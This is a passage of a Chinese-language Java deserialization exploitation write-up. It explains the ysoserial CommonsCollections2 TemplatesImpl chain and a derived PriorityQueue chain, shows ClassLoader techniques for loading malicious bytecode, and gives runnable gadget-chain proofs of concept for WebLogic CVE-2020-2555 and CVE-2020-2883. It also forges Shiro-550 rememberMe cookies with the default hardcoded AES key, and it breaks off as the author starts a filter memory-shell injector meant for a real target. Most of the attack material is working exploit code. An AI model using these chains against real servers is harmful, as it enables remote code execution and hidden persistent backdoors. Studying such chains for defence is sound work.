TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); 609 | } 610 | ``` 611 | 612 | 提到了org.apache.xalan.xsltc.trax.TemplatesImpl这个类,那就得先来看两行代码了 613 | 614 | ```java 615 | package org.chabug.demo; 616 | 617 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 618 | import ysoserial.payloads.util.Gadgets; 619 | 620 | public class CC2 { 621 | public static void main(String[] args) throws Exception { 622 | TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc"); 623 | object.newTransformer(); 624 | } 625 | } 626 | ``` 627 | 628 | ![image-20200822152423212](Java反序列化.assets/image-20200822152423212.png) 629 | 630 | 为什么会弹出计算器?深究createTemplatesImpl() 631 | 632 | ```java 633 | public static Object createTemplatesImpl ( final String command ) throws Exception { 634 | if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { 635 | return createTemplatesImpl( 636 | command, 637 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), 638 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), 639 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); 640 | } 641 | 642 | return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); 643 | } 644 | 645 | 646 | public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) 647 | throws Exception { 648 | final T templates = tplClass.newInstance(); 649 | 650 | // use template gadget class 651 | ClassPool pool = ClassPool.getDefault(); 652 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 653 | pool.insertClassPath(new ClassClassPath(abstTranslet)); 654 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 655 | // run command in static initializer 656 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 657 | String cmd = "java.lang.Runtime.getRuntime().exec(\"" + 658 | command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + 659 | "\");"; 660 | clazz.makeClassInitializer().insertAfter(cmd); 661 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 662 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); 663 | CtClass superC = pool.get(abstTranslet.getName()); 664 | clazz.setSuperclass(superC); 665 | 666 | final byte[] classBytes = clazz.toBytecode(); 667 | 668 | // inject class bytes into instance 669 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { 670 | classBytes, ClassFiles.classAsBytes(Foo.class) 671 | }); 672 | 673 | // required to make TemplatesImpl happy 674 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 675 | Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); 676 | return templates; 677 | } 678 | ``` 679 | 680 | 上面这段代码做了以下几件事: 681 | 682 | 1. 实例化了一个`org.apache.xalan.xsltc.trax.TemplatesImpl`对象templates,该对象`_bytecodes`可以存放字节码 683 | 2. 自己写了一个`StubTransletPayload`类 继承`AbstractTranslet`并实现`Serializable`接口 684 | 3. 获取`StubTransletPayload`字节码并使用javassist插入`templates`字节码(Runtime.exec命令执行) 685 | 4. 反射设置`templates`的`_bytecodes`为包含命令执行的字节码 686 | 687 | 实际上就是实现了一个`org.apache.xalan.xsltc.trax.TemplatesImpl`子类,然后在他的`_bytecodes`字段插入自己的恶意字节码,看下newTransformer() 688 | 689 | ```java 690 | public synchronized Transformer newTransformer() 691 | throws TransformerConfigurationException 692 | { 693 | TransformerImpl transformer; 694 | 695 | transformer = new TransformerImpl(getTransletInstance(), _outputProperties, 696 | _indentNumber, _tfactory); 697 | 698 | if (_uriResolver != null) { 699 | transformer.setURIResolver(_uriResolver); 700 | } 701 | 702 | if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { 703 | transformer.setSecureProcessing(true); 704 | } 705 | return transformer; 706 | } 707 | ``` 708 | 709 | 会执行getTransletInstance(),跟进 710 | 711 | ```java 712 | private Translet getTransletInstance() 713 | throws TransformerConfigurationException { 714 | try { 715 | if (_name == null) return null; 716 | 717 | if (_class == null) defineTransletClasses(); 718 | 719 | // The translet needs to keep a reference to all its auxiliary 720 | // class to prevent the GC from collecting them 721 | AbstractTranslet translet = (AbstractTranslet) 722 | _class[_transletIndex].getConstructor().newInstance(); 723 | translet.postInitialization(); 724 | translet.setTemplates(this); 725 | translet.setOverrideDefaultParser(_overrideDefaultParser); 726 | translet.setAllowedProtocols(_accessExternalStylesheet); 727 | if (_auxClasses != null) { 728 | translet.setAuxiliaryClasses(_auxClasses); 729 | } 730 | 731 | return translet; 732 | } 733 | catch (InstantiationException | IllegalAccessException | 734 | NoSuchMethodException | InvocationTargetException e) { 735 | ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); 736 | throw new TransformerConfigurationException(err.toString(), e); 737 | } 738 | } 739 | ``` 740 | 下面这行会根据字节码定义的类去new一个实例,而字节码定义的类中static块中写的是Runtime.exec,所以导致RCE 741 | ```java 742 | AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance(); 743 | ``` 744 | 745 | 那么寻找一个在readObject中调用template.newTransformer()的类即可。也就是payload中的PriorityQueue 746 | 747 | > PriorityQueue 一个基于优先级的无界优先级队列。**优先级队列的元素按照其自然顺序进行排序**,或者根据构造队列时提供的 Comparator 进行排序,具体取决于所使用的构造方法。 748 | 749 | 查看其readObject() 750 | 751 | ```java 752 | private void readObject(java.io.ObjectInputStream s) 753 | throws java.io.IOException, ClassNotFoundException { 754 | // Read in size, and any hidden stuff 755 | s.defaultReadObject(); 756 | 757 | // Read in (and discard) array length 758 | s.readInt(); 759 | 760 | SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); 761 | queue = new Object[size]; 762 | 763 | // Read in all elements. 764 | for (int i = 0; i < size; i++) 765 | queue[i] = s.readObject(); 766 | 767 | // Elements are guaranteed to be in "proper order", but the 768 | // spec has never explained what that might be. 769 | heapify(); 770 | } 771 | ``` 772 | 773 | 既然是一个优先级队列,那么必然存在排序。在heapify()中 774 | 775 | ```java 776 | private void heapify() { 777 | for (int i = (size >>> 1) - 1; i >= 0; i--) 778 | siftDown(i, (E) queue[i]); // 进行排序 779 | } 780 | private void siftDown(int k, E x) { 781 | if (comparator != null) 782 | siftDownUsingComparator(k, x); // 如果指定比较器就使用 783 | else 784 | siftDownComparable(k, x); // 没指定就使用默认的自然比较器 785 | } 786 | private void siftDownUsingComparator(int k, E x) { 787 | int half = size >>> 1; 788 | while (k < half) { 789 | int child = (k << 1) + 1; 790 | Object c = queue[child]; 791 | int right = child + 1; 792 | if (right < size && 793 | comparator.compare((E) c, (E) queue[right]) > 0) 794 | c = queue[child = right]; 795 | if (comparator.compare(x, (E) c) <= 0) 796 | break; 797 | queue[k] = c; 798 | k = child; 799 | } 800 | queue[k] = x; 801 | } 802 | private void siftDownComparable(int k, E x) { 803 | Comparable key = (Comparable)x; 804 | int half = size >>> 1; // loop while a non-leaf 805 | while (k < half) { 806 | int child = (k << 1) + 1; // assume left child is least 807 | Object c = queue[child]; 808 | int right = child + 1; 809 | if (right < size && 810 | ((Comparable) c).compareTo((E) queue[right]) > 0) 811 | c = queue[child = right]; 812 | if (key.compareTo((E) c) <= 0) 813 | break; 814 | queue[k] = c; 815 | k = child; 816 | } 817 | queue[k] = key; 818 | } 819 | ``` 820 | 821 | comparator是比较器,当指定comparator时会进入`comparator.compare((E) c, (E) queue[right])`。comparator是Comparator接口对象。 822 | 823 | ```java 824 | private final Comparator comparator; 825 | ``` 826 | 827 | 查看其继承关系发现CC包中的TransformingComparator类实现了Comparator接口 828 | 829 | ![image-20200822155342130](Java反序列化.assets/image-20200822155342130.png) 830 | 831 | TransformingComparator的compare()方法 832 | 833 | ```java 834 | public int compare(I obj1, I obj2) { 835 | O value1 = this.transformer.transform(obj1); 836 | O value2 = this.transformer.transform(obj2); 837 | return this.decorated.compare(value1, value2); 838 | } 839 | ``` 840 | 841 | 嘿,这不刚好是之前的transform任意方法反射调用吗!this.transformer承载的是InvokerTransformer类,反射调用之前的newTransformer()就直接RCE了。构造payload 842 | 843 | ```java 844 | public Queue getObject(final String command) throws Exception { 845 | final Object templates = Gadgets.createTemplatesImpl(command); 846 | // mock method name until armed 847 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 848 | 849 | // create queue with numbers and basic comparator 850 | final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); 851 | // stub data for replacement later 852 | queue.add(1); 853 | queue.add(1); 854 | 855 | // switch method called by comparator 856 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 857 | 858 | // switch contents of queue 859 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 860 | queueArray[0] = templates; 861 | queueArray[1] = 1; 862 | 863 | return queue; 864 | } 865 | ``` 866 | 867 | 比较疑惑的一点应该在`new InvokerTransformer("toString", new Class[0], new Object[0])`,这里为什么要先用toString,然后在反射修改为newTransformer?因为如果直接用newTransformer序列化时会报错`The method 'newTransformer' on 'class java.lang.Integer' does not exist`,所以ysoserial采用了先用toString转为字符串与数字1作比较,然后反射修改过来,很巧妙。 868 | 869 | 870 | 871 | 小结: 872 | 873 | ```java 874 | /* 875 | Gadget chain: 876 | ObjectInputStream.readObject() 877 | PriorityQueue.readObject() 878 | ... 879 | TransformingComparator.compare() 880 | InvokerTransformer.transform() 881 | Method.invoke() 882 | Runtime.exec() 883 | */ 884 | ``` 885 | 886 | ### 两种链的衍生 887 | 888 | CC2采用TemplatesImpl类通过恶意字节码初始化的形式RCE,CC5通过链式调用一步一步反射实现RCE。但是本质其实还是反射,两种链改一改还能再衍生一种链。 889 | 890 | ```java 891 | package org.chabug.demo; 892 | 893 | import org.apache.commons.collections4.Transformer; 894 | import org.apache.commons.collections4.comparators.TransformingComparator; 895 | import org.apache.commons.collections4.functors.ChainedTransformer; 896 | import org.apache.commons.collections4.functors.InvokerTransformer; 897 | import org.chabug.util.Serializables; 898 | import ysoserial.payloads.util.Reflections; 899 | 900 | import java.lang.reflect.Field; 901 | import java.util.PriorityQueue; 902 | 903 | public class MyCC { 904 | public static void main(String[] args) throws Exception { 905 | Transformer[] transformers = new Transformer[]{ 906 | // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() 907 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 908 | // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) 909 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 910 | // 调用exec("calc") 911 | new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) 912 | }; 913 | Transformer chain = new ChainedTransformer(transformers); 914 | 915 | Class clazz = ChainedTransformer.class; 916 | Field iTransformers = clazz.getDeclaredField("iTransformers"); 917 | iTransformers.setAccessible(true); 918 | 919 | Transformer[] transformers1 = new Transformer[]{ 920 | new InvokerTransformer("toString", new Class[]{}, new Object[]{}) 921 | }; 922 | ChainedTransformer chain1 = new ChainedTransformer(transformers1); 923 | 924 | final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain1)); 925 | queue.add("1"); 926 | queue.add("1"); 927 | iTransformers.set(chain1, transformers); 928 | 929 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 930 | queueArray[0] = Runtime.class; 931 | queueArray[1] = 1; 932 | 933 | 934 | byte[] bytes = Serializables.serializeToBytes(queue); 935 | Serializables.deserializeFromBytes(bytes); 936 | } 937 | } 938 | ``` 939 | 940 | 其实就是把CC5的前半段和CC2的后半段拼一起,用CC5链式调用执行命令,用CC2触发toString。 941 | 942 | ## Java ClassLoader 加载类的几种方法 943 | 944 | > Java是编译型语言,所有的Java代码都需要被编译成字节码来让JVM执行。Java类初始化时会调用 `java.lang.ClassLoader` 加载类字节码,ClassLoader会调用defineClass方法来创建一个 `java.lang.Class` 类实例。 945 | 946 | ClassLoader类是一个抽象类,并不能直接拿来用,jdk中有几个具体实现类,比如DefiningClassLoader、BCEL ClassLoader、GroovyClassLoader、URLClassLoader、Jython中PythonInterpreter的org.python.core.BytecodeLoader等等,还可以自己实现ClassLoader。 947 | 948 | 949 | 950 | 本文主要讲解三种URLClassLoader、BytecodeLoader和自己定义ClassLoader去从字节码中加载类。 951 | 952 | 953 | ### URLClassLoader 954 | 955 | ```java 956 | package org.chabug.loader; 957 | 958 | import java.net.URL; 959 | import java.net.URLClassLoader; 960 | 961 | public class URLClassLoaderDemo { 962 | public static void main(String[] args) throws Exception { 963 | // URL url = new URL("https://baidu.com/cmd.jar"); // 也可以加载远程jar 964 | URL url = new URL("file:///d:/calc.jar"); 965 | 966 | // 创建URLClassLoader对象,并加载远程jar包 967 | URLClassLoader ucl = new URLClassLoader(new URL[]{url}); 968 | 969 | // 通过URLClassLoader加载jar包 970 | Class aClass = ucl.loadClass("org.chabug.demo.Calc"); 971 | aClass.newInstance(); 972 | } 973 | } 974 | ``` 975 | 976 | jar包制作命令为`jar cvf calc.jar Calc.class`,恶意代码直接写在static代码块中,新建类实例newInstance()时会自动执行。 977 | 978 | ![image-20200822163304144](Java反序列化.assets/image-20200822163304144.png) 979 | 980 | 成功弹出计算器 981 | 982 | ![image-20200822163450161](Java反序列化.assets/image-20200822163450161.png) 983 | 984 | ### BytecodeLoader 985 | 986 | ```java 987 | package org.chabug.loader; 988 | 989 | import org.python.util.PythonInterpreter; 990 | 991 | import java.io.ByteArrayOutputStream; 992 | import java.io.File; 993 | import java.io.FileInputStream; 994 | 995 | public class BytecodeLoaderLoader { 996 | public static void main(String[] args) throws Exception { 997 | String className = "org.chabug.demo.Calc"; 998 | byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class"); 999 | String classBytes = ""; 1000 | for (byte b : bytes) { 1001 | classBytes += String.format("%s%s", b, ","); 1002 | } 1003 | String s = String.format("from org.python.core import BytecodeLoader;\n" + 1004 | "from jarray import array\n" + 1005 | "myList = [%s]\n" + 1006 | "bb = array( myList, 'b')\n" + 1007 | "BytecodeLoader.makeClass(\"%s\",None,bb).getConstructor([]).newInstance([]);", classBytes, className); 1008 | PythonInterpreter instance = PythonInterpreter.class.getConstructor(null).newInstance(); 1009 | instance.exec(s); 1010 | } 1011 | 1012 | public static byte[] getBytesByFile(String pathStr) { 1013 | File file = new File(pathStr); 1014 | try { 1015 | FileInputStream fis = new FileInputStream(file); 1016 | ByteArrayOutputStream bos = new ByteArrayOutputStream(1000); 1017 | byte[] b = new byte[1000]; 1018 | int n; 1019 | while ((n = fis.read(b)) != -1) { 1020 | bos.write(b, 0, n); 1021 | } 1022 | fis.close(); 1023 | byte[] data = bos.toByteArray(); 1024 | bos.close(); 1025 | return data; 1026 | } catch (Exception e) { 1027 | e.printStackTrace(); 1028 | } 1029 | return null; 1030 | } 1031 | } 1032 | ``` 1033 | 1034 | 1035 | 1036 | ![image-20200822172647180](Java反序列化.assets/image-20200822172647180.png) 1037 | 1038 | ### 自定义ClassLoader 1039 | 1040 | ![image-20200822173106095](Java反序列化.assets/image-20200822173106095.png) 1041 | 1042 | ```java 1043 | package org.chabug.loader; 1044 | 1045 | import static org.chabug.loader.BytecodeLoaderLoader.getBytesByFile; 1046 | 1047 | public class MyLoader extends ClassLoader { 1048 | public static String className = "org.chabug.demo.Calc"; 1049 | public static byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class"); 1050 | 1051 | public static void main(String[] args) throws Exception { 1052 | new MyLoader().loadClass(className).newInstance(); 1053 | } 1054 | 1055 | @Override 1056 | public Class findClass(String name) throws ClassNotFoundException { 1057 | // 只处理TestHelloWorld类 1058 | if (name.equals(className)) { 1059 | // 调用JVM的native方法定义TestHelloWorld类 1060 | return defineClass(className, bytes, 0, bytes.length); 1061 | } 1062 | 1063 | return super.findClass(name); 1064 | } 1065 | } 1066 | ``` 1067 | 1068 | 1069 | 1070 | ## WebLogic CVE-2020-2555 CVE-2020-2883 RCE 1071 | 1072 | 这两个洞和CC链的形式很像,只是gadget的构造不一样。先来看最早爆出来的CVE-2020-2555 1073 | 1074 | ### CVE-2020-2555 1075 | 1076 | 问题出在com.tangosol.util.extractor.ReflectionExtractor#extract 1077 | 1078 | ```java 1079 | public Object extract(Object oTarget) { 1080 | if (oTarget == null) { 1081 | return null; 1082 | } else { 1083 | Class clz = oTarget.getClass(); 1084 | 1085 | try { 1086 | Method method = this.m_methodPrev; 1087 | if (method == null || method.getDeclaringClass() != clz) { 1088 | this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false); 1089 | } 1090 | return method.invoke(oTarget, this.m_aoParam); 1091 | } catch (NullPointerException var4) { 1092 | throw new RuntimeException(this.suggestExtractFailureCause(clz)); 1093 | } catch (Exception var5) { 1094 | throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')'); 1095 | } 1096 | } 1097 | } 1098 | ``` 1099 | 1100 | 和CC链的transform()一模一样,所以也需要寻找一个和ChainedTransformer的类 1101 | 1102 | ```java 1103 | public E extract(Object oTarget) { 1104 | ValueExtractor[] aExtractor = this.getExtractors(); 1105 | int i = 0; 1106 | 1107 | for(int c = aExtractor.length; i < c && oTarget != null; ++i) { 1108 | oTarget = aExtractor[i].extract(oTarget); 1109 | } 1110 | 1111 | return oTarget; 1112 | } 1113 | ``` 1114 | 1115 | this.getExtractors()源于其父类AbstractCompositeExtractor 1116 | 1117 | ```java 1118 | protected ValueExtractor[] m_aExtractor; 1119 | public ValueExtractor[] getExtractors() { 1120 | return this.m_aExtractor; 1121 | } 1122 | ``` 1123 | 1124 | 而com.tangosol.util.filter.LimitFilter#toString中会触发extract() 1125 | 1126 | ```java 1127 | public String toString() { 1128 | StringBuilder sb = new StringBuilder("LimitFilter: ("); 1129 | sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage); 1130 | if (this.m_comparator instanceof ValueExtractor) { 1131 | ValueExtractor extractor = (ValueExtractor)this.m_comparator; 1132 | sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom)); 1133 | } else if (this.m_comparator != null) { 1134 | sb.append(", comparator=").append(this.m_comparator); 1135 | } 1136 | 1137 | sb.append("])"); 1138 | return sb.toString(); 1139 | } 1140 | ``` 1141 | 1142 | 关注这几个 1143 | 1144 | ```java 1145 | ValueExtractor extractor = (ValueExtractor)this.m_comparator; 1146 | extractor.extract(this.m_oAnchorTop) 1147 | extractor.extract(this.m_oAnchorBottom) 1148 | ``` 1149 | 1150 | 查看该类字段 1151 | 1152 | ```java 1153 | private Comparator m_comparator; 1154 | private Object m_oAnchorTop; 1155 | private Object m_oAnchorBottom; 1156 | ``` 1157 | 1158 | m_comparator是Comparator类型的,而ChainedTransformer实现了这个接口。 1159 | 1160 | ![image-20200824101352678](Java反序列化.assets/image-20200824101352678.png) 1161 | 1162 | 所以m_comparator可以放chainedExtractor对象,然后m_oAnchorTop传入Runtime.class就行了。 1163 | 1164 | 小结:使用BadAttributeValueExpException触发LimitFilter的toString(),然后ChainedExtractor链式调用extract()执行Runtime 1165 | 1166 | ```java 1167 | package org.chabug.cve; 1168 | 1169 | import com.tangosol.util.extractor.ChainedExtractor; 1170 | import com.tangosol.util.extractor.ReflectionExtractor; 1171 | import com.tangosol.util.filter.LimitFilter; 1172 | import org.chabug.util.Serializables; 1173 | 1174 | import javax.management.BadAttributeValueExpException; 1175 | import java.lang.reflect.Field; 1176 | 1177 | public class CVE_2020_2555 { 1178 | public static void main(String[] args) throws Exception { 1179 | ReflectionExtractor extractor1 = new ReflectionExtractor( 1180 | "getMethod", 1181 | new Object[]{"getRuntime", new Class[0]} 1182 | 1183 | ); 1184 | 1185 | // get invoke() to execute exec() 1186 | ReflectionExtractor extractor2 = new ReflectionExtractor( 1187 | "invoke", 1188 | new Object[]{null, new Object[0]} 1189 | 1190 | ); 1191 | 1192 | // invoke("exec","calc") 1193 | ReflectionExtractor extractor3 = new ReflectionExtractor( 1194 | "exec", 1195 | new Object[]{new String[]{"cmd", "/c", "calc"}} 1196 | ); 1197 | 1198 | ReflectionExtractor[] extractors = { 1199 | extractor1, 1200 | extractor2, 1201 | extractor3, 1202 | }; 1203 | 1204 | ChainedExtractor chainedExtractor = new ChainedExtractor(extractors); 1205 | LimitFilter limitFilter = new LimitFilter(); 1206 | 1207 | //m_comparator 1208 | Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); 1209 | m_comparator.setAccessible(true); 1210 | m_comparator.set(limitFilter, chainedExtractor); 1211 | 1212 | //m_oAnchorTop 1213 | Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); 1214 | m_oAnchorTop.setAccessible(true); 1215 | m_oAnchorTop.set(limitFilter, Runtime.class); 1216 | 1217 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 1218 | Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); 1219 | field.setAccessible(true); 1220 | field.set(badAttributeValueExpException, limitFilter); 1221 | 1222 | // serialize 1223 | 1224 | byte[] buf = Serializables.serializeToBytes(badAttributeValueExpException); 1225 | Serializables.deserializeFromBytes(buf); 1226 | 1227 | } 1228 | 1229 | } 1230 | ``` 1231 | 1232 | ### CVE-2020-2883 1233 | 1234 | 2883其实就是我们之前从两条CC链衍生出来的那条链 1235 | 1236 | ```java 1237 | package org.chabug.cve; 1238 | 1239 | import com.tangosol.util.ValueExtractor; 1240 | import com.tangosol.util.comparator.ExtractorComparator; 1241 | import com.tangosol.util.extractor.ChainedExtractor; 1242 | import com.tangosol.util.extractor.ReflectionExtractor; 1243 | import org.chabug.util.Serializables; 1244 | import ysoserial.payloads.util.Reflections; 1245 | 1246 | import java.lang.reflect.Field; 1247 | import java.util.PriorityQueue; 1248 | 1249 | public class CVE_2020_2883 { 1250 | public static void main(String[] args) throws Exception { 1251 | ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}); 1252 | ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}); 1253 | ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}}); 1254 | 1255 | ValueExtractor[] valueExtractors = new ValueExtractor[]{ 1256 | reflectionExtractor1, 1257 | reflectionExtractor2, 1258 | reflectionExtractor3, 1259 | }; 1260 | 1261 | Class clazz = ChainedExtractor.class.getSuperclass(); 1262 | Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); 1263 | m_aExtractor.setAccessible(true); 1264 | 1265 | ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); 1266 | ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ 1267 | reflectionExtractor 1268 | }; 1269 | 1270 | ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); 1271 | 1272 | PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); 1273 | queue.add("1"); 1274 | queue.add("1"); 1275 | m_aExtractor.set(chainedExtractor1, valueExtractors); 1276 | 1277 | Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 1278 | queueArray[0] = Runtime.class; 1279 | queueArray[1] = "1"; 1280 | 1281 | byte[] buf = Serializables.serializeToBytes(queue); 1282 | } 1283 | } 1284 | ``` 1285 | 整个利用链 1286 | ```java 1287 | /* 1288 | * readObject:797, PriorityQueue (java.util) 1289 | * heapify:737, PriorityQueue (java.util) 1290 | * siftDown:688, PriorityQueue (java.util) 1291 | * siftDownUsingComparator:722, PriorityQueue (java.util) 1292 | * compare:71, ExtractorComparator (com.tangosol.util.comparator) 1293 | * extract:81, ChainedExtractor (com.tangosol.util.extractor) 1294 | * extract:109, ReflectionExtractor (com.tangosol.util.extractor) 1295 | * invoke:498, Method (java.lang.reflect) 1296 | */ 1297 | ``` 1298 | 1299 | 两个CVE的前半部分是一样的,都是通过ChainedExtractor构造到Runtime的chain。2555中用的是BadAttributeValueExpException,2883用的PriorityQueue。 1300 | 1301 | ## Shiro-550 rememberMe 硬编码导致的反序列化RCE 1302 | 1303 | 首先要知道shiro是一个用来做身份验证的框架,其原理是基于servlet的filter进行的。shiro库在web.xml中定义了ShiroFilter,作用范围是当前目录下所有的url。 1304 | 1305 | ![image-20200824110636439](Java反序列化.assets/image-20200824110636439.png) 1306 | 1307 | cookie的处理在`CookieRememberMeManager`类,继承了`AbstractRememberMeManager`,在`AbstractRememberMeManager`中硬编码了加密密钥`DEFAULT_CIPHER_KEY_BYTES` 1308 | 1309 | ![image-20200824110840912](Java反序列化.assets/image-20200824110840912.png) 1310 | 1311 | 通过AES CBC对称加密,然后org.apache.shiro.io.DefaultSerializer进行序列化和反序列化。 1312 | 1313 | ![image-20200824111728416](Java反序列化.assets/image-20200824111728416.png) 1314 | 1315 | 掌握其加密算法和硬编码的key,即可构造恶意对象来进行反序列化RCE。加密算法如下 1316 | 1317 | ```java 1318 | package org.chabug.util; 1319 | 1320 | import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; 1321 | 1322 | import javax.crypto.BadPaddingException; 1323 | import javax.crypto.Cipher; 1324 | import javax.crypto.IllegalBlockSizeException; 1325 | import javax.crypto.NoSuchPaddingException; 1326 | import javax.crypto.spec.IvParameterSpec; 1327 | import javax.crypto.spec.SecretKeySpec; 1328 | import java.security.InvalidKeyException; 1329 | import java.security.NoSuchAlgorithmException; 1330 | 1331 | public class EncryptUtil { 1332 | private static final String ENCRY_ALGORITHM = "AES"; 1333 | private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding"; 1334 | private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes(); // 16字节IV 1335 | 1336 | public EncryptUtil() { 1337 | } 1338 | 1339 | public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) { 1340 | try { 1341 | SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM); 1342 | Cipher cipher = Cipher.getInstance(CIPHER_MODE); 1343 | IvParameterSpec iv = new IvParameterSpec(IV); 1344 | cipher.init(1, keySpec, iv); 1345 | byte[] cipherTextBytes = cipher.doFinal(clearTextBytes); 1346 | return cipherTextBytes; 1347 | } catch (NoSuchPaddingException var6) { 1348 | var6.printStackTrace(); 1349 | } catch (NoSuchAlgorithmException var7) { 1350 | var7.printStackTrace(); 1351 | } catch (BadPaddingException var8) { 1352 | var8.printStackTrace(); 1353 | } catch (IllegalBlockSizeException var9) { 1354 | var9.printStackTrace(); 1355 | } catch (InvalidKeyException var10) { 1356 | var10.printStackTrace(); 1357 | } catch (Exception var11) { 1358 | var11.printStackTrace(); 1359 | } 1360 | 1361 | return null; 1362 | } 1363 | 1364 | public static String shiroEncrypt(String key, byte[] objectBytes) { 1365 | byte[] pwd = Base64.decode(key); 1366 | byte[] cipher = encrypt(objectBytes, pwd); 1367 | 1368 | assert cipher != null; 1369 | 1370 | byte[] output = new byte[pwd.length + cipher.length]; 1371 | byte[] iv = IV; 1372 | System.arraycopy(iv, 0, output, 0, iv.length); 1373 | System.arraycopy(cipher, 0, output, pwd.length, cipher.length); 1374 | return Base64.encode(output); 1375 | } 1376 | } 1377 | ``` 1378 | 1379 | 用CC5生成rememberMe cookie 1380 | 1381 | ```java 1382 | package org.chabug.shiro; 1383 | 1384 | import org.chabug.util.EncryptUtil; 1385 | import org.chabug.util.Serializables; 1386 | import ysoserial.payloads.CommonsCollections5; 1387 | 1388 | public class Shiro550 { 1389 | public static void main(String[] args) throws Exception { 1390 | CommonsCollections5 cc = new CommonsCollections5(); 1391 | Object calc = cc.getObject("calc"); 1392 | byte[] bytes = Serializables.serializeToBytes(calc); 1393 | String key = "kPH+bIxk5D2deZiIxcaaaA=="; 1394 | String rememberMe = EncryptUtil.shiroEncrypt(key, bytes); 1395 | System.out.println(rememberMe); 1396 | } 1397 | } 1398 | ``` 1399 | 1400 | bp发包 1401 | 1402 | ![image-20200824113600901](Java反序列化.assets/image-20200824113600901.png) 1403 | 1404 | 目标上弹出计算器 1405 | 1406 | ![image-20200824113637777](Java反序列化.assets/image-20200824113637777.png) 1407 | 1408 | ## WebLogic + Shiro 反序列化一键注册filter内存shell 1409 | 1410 | 接下来就是正题了,先说下整体思路: 1411 | 1412 | 遇到的目标shiro不存在可用的gadget,但是探测出他的key为默认的`kPH+bIxk5D2deZiIxcaaaA==`,通过404报错页面发现是WebLogic,通过CVE-2020-2883的gadget来成功RCE,但是不出网,没法反弹shell,而且是SpringMVC写jsp文件也访问不到,只能搞Filter内存马。 1413 | 1414 | 1415 | 1416 | 整理一下: 1417 | 1418 | 1. 反序列化的入口是shiro 1419 | 2. gadget是2883 1420 | 3. 2883通过URLClassLoader定义字节码 1421 | 4. 字节码中写注册内存shell的代码 1422 | 5. filter shell注册在weblogic的内存中 1423 | 1424 | 1425 | 1426 | 先解决shiro+2883 gadget利用的问题,其实就是把之前的2883生成的queue对象拿到shiro中进行AES base64加密就行了 1427 | 1428 | ```java 1429 | byte[] buf = Serializables.serializeToBytes(queue); 1430 | String key = "kPH+bIxk5D2deZiIxcaaaA=="; 1431 | String rememberMe = EncryptUtil.shiroEncrypt(key, buf); 1432 | System.out.println(rememberMe); 1433 | ``` 1434 | 1435 | 1436 | 1437 | 要定义字节码必须先把字节码的类写出来,也就是注入内存shell的代码。 1438 | 1439 | ```java 1440 | package org.chabug.memshell; 1441 | 1442 | import java.io.ByteArrayOutputStream; 1443 | import java.io.File; 1444 